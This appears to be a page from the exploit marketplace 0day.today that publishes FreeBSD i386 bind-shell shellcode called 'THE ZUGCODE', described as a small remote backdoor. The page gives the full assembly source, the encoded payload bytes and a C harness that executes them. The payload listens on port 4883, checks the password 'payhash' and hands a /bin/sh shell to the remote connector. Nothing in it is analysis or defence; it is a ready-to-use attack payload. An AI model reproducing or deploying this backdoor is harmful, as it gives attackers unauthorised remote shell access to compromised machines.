0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
freebsd/x86 portbind 4883 with auth shellcode
[=============================================
freebsd/x86 portbind 4883 with auth shellcode
=============================================
/*
THE ZUGCODE - SMALL REMOTE 6ACKD0R
FreeBSD i386 bind shell with auth
code by MahDelin
Big thx SST [kaka, nolife, white]
Listen on the port 4883 the /bin/sh
*/
/*
void zugcode(void )
{
//socket
__asm__("xorl %eax, %eax");
__asm__("pushl %eax");
__asm__("pushl %eax");
__asm__("pushl $0x01");
__asm__("pushl $0x02");
__asm__("movl %esp, %ebp");
__asm__("pushl %ebp");
__asm__("movb $0x61, %al");
__asm__("int $0x80");
//struct sockaddr_in
__asm__("movl %eax, %edi");
__asm__("xorl %eax, %eax");
__asm__("movb $0x02, 9(%ebp)");
__asm__("movw $0x1313, 10(%ebp)");
__asm__("movl %eax, 12(%ebp)");
__asm__("leal 8(%ebp), %ecx");
//bind
__asm__("xor %ebx,%ebx");
__asm__("movb $0x10,%bl");
__asm__("push %ebx");
__asm__("push %ecx");
__asm__("push %edi");
__asm__("push %eax");
__asm__("movb $0x68, %al");
__asm__("int $0x80");
//listen
__asm__("xor %eax, %eax");
__asm__("pushl %eax");
__asm__("pushl $0x01");
__asm__("pushl %edi");
__asm__("pushl %eax");
__asm__("movb $0x6a, %al");
__asm__("int $0x80");
//accept
__asm__("xor %eax, %eax");
__asm__("push %ebx");
__asm__("pushl %eax");
__asm__("pushl %eax");
__asm__("pushl %edi");
__asm__("pushl %eax");
__asm__("movb $0x1e, %al");
__asm__("int $0x80");
__asm__("mov %eax, %esi");
__asm__("xor %eax, %eax");
__asm__("pushl $0x203a7465");
__asm__("pushl $0x72636573");
__asm__("movl %esp, %ebx");
__asm__("push %eax");
__asm__("push $0x8");
__asm__("pushl %ebx");
__asm__("push %esi");
__asm__("xor %eax, %eax");
__asm__("push %eax");
__asm__("movb $0x65, %al");
__asm__("int $0x80");
//rcev password
__asm__("xor %eax, %eax");
__asm__("pushl %ebp");
__asm__("movl %esp, %ebp");
__asm__("movb $0x20, %al");
__asm__("subl %eax, %esp");
__asm__("xor %eax, %eax");
__asm__("push %eax");
__asm__("mov $0x80, %al");
__asm__("push %eax");
__asm__("xor %eax, %eax");
__asm__("push %ebp");
__asm__("push %esi");
__asm__("push %eax");
__asm__("movb $0x66, %al");
__asm__("int $0x80");
//compare password
//save registers %esi, %edi
__asm__("mov %edi, %ebx");
__asm__("mov %esi, %edx");
__asm__("mov %eax, %ecx");
__asm__(".word 0x50eb");
__asm__("pop %esi");
__asm__("mov %ebp, %edi");
__asm__("repe cmpsb");
__asm__(".word 0x4275");
__asm__("mov %ebx, %edi");
__asm__("mov %edx, %esi");
//dup2 stdin
__asm__("xorl %eax, %eax");
__asm__("pushl %eax");
__asm__("pushl %esi");
__asm__("pushl %eax");
__asm__("movb $0x5a, %al");
__asm__("int $0x80");
//dup2 stdout
__asm__("xorl %eax, %eax");
__asm__("inc %eax");
__asm__("pushl %eax");
__asm__("pushl %esi");
__asm__("xorl %eax, %eax");
__asm__("pushl %eax");
__asm__("movb $0x5a, %al");
__asm__("int $0x80");
//dup2 stderr
__asm__("xorl %eax, %eax");
__asm__("add $0x2, %eax");
__asm__("pushl %eax");
__asm__("pushl %esi");
__asm__("xorl %eax, %eax");
__asm__("pushl %eax");
__asm__("movb $0x5a, %al");
__asm__("int $0x80");
// /bin/sh
__asm__("xor %ecx, %ecx");
__asm__("pushl %ecx");
__asm__("pushl $0x68732f2f");
__asm__("pushl $0x6e69622f");
__asm__("movl %esp, %ebx");
__asm__("pushl %ecx");
__asm__("pushl %ebx");
__asm__("movl %esp, %edx");
__asm__("pushl %ecx");
__asm__("pushl %edx");
__asm__("pushl %ebx");
__asm__("pushl %ecx");
__asm__("movb $0x3b, %al");
__asm__("int $0x80");
//exit
__asm__("xorl %eax, %eax");
__asm__("inc %eax");
__asm__("pushl %eax");
__asm__("pushl %eax");
__asm__("int $0x80");
__asm__(".byte 0xe8");
__asm__(".long 0xffffffab");
__asm__(".asciz \"payhash\12\"");
}
*/
unsigned char zug[] =
"\x31\xc0\x50\x50\x6a\x01\x6a\x02\x89\xe5\x55\xb0\x61\xcd\x80\x89\xc7\x31"
"\xc0\xc6\x45\x09\x02\x66\xc7\x45\x0a\x13\x13\x89\x45\x0c\x8d\x4d\x08\x31"
"\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80\x31\xc0\x50\x6a\x01\x57\x50"
"\xb0\x6a\xcd\x80\x31\xc0\x53\x50\x50\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31"
"\xc0\x68\x65\x74\x3a\x20\x68\x73\x65\x63\x72\x89\xe3\x50\x6a\x08\x53\x56"
"\x31\xc0\x50\xb0\x65\xcd\x80\x31\xc0\x55\x89\xe5\xb0\x20\x29\xc4\x31\xc0"
"\x50\xb0\x80\x50\x31\xc0\x55\x56\x50\xb0\x66\xcd\x80\x89\xfb\x89\xf2\x89"
"\xc1\xeb\x50\x5e\x89\xef\xf3\xa6\x75\x42\x89\xdf\x89\xd6\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x40\x50\x56\x31\xc0\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x83\xc0\x02\x50\x56\x31\xc0\x50\xb0\x5a\xcd\x80\x31\xc9\x51\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe2\x51\x52\x53\x51"
"\xb0\x3b\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80\xe8\xab\xff\xff\xff\x70\x61"
"\x79\x68\x61\x73\x68\x0a";
main()
{
int (*zugcode)();
printf("shellcode len, %d bytes\n", strlen(zug));
zugcode = (int (*)()) zug;
(int)(*zugcode)();
}
# 0day.today [2024-11-16] #